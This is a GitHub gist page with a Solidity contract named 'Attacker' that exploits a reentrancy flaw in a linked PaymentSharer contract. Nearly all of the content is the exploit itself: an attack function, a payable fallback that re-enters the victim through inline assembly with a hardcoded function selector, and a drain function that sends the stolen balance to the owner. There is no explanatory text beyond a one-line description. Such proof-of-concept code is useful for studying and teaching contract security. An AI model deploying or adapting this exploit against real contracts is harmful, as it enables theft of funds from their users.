Last active
November 5, 2021 16:04
-
-
Save Melvillian/072382485ba4fff371b42c9bf1a1d00a to your computer and use it in GitHub Desktop.
A contract to exploit a reentrancy vulnerability in https://gist.github.com/Melvillian/5c0b9eb25916f6c21ae7af30c0d0209b, copied from https://gist.github.com/ritzdorf/d66868e3f7293c9f93eae2fbcbe60782#file-paymentsharer-js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.5.0; | |
| import "./PaymentSharer.sol"; | |
| contract Attacker { | |
| address private victim; | |
| address payable owner; | |
| constructor() public { | |
| owner = msg.sender; | |
| } | |
| function attack(address a) external { | |
| victim = a; | |
| PaymentSharer x = PaymentSharer(a); | |
| x.updateSplit(0, 100); | |
| x.splitFunds(0); | |
| } | |
| function () payable external { | |
| address x = victim; | |
| assembly{ | |
| mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) | |
| pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) | |
| } | |
| } | |
| function drain() external { | |
| owner.transfer(address(this).balance); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment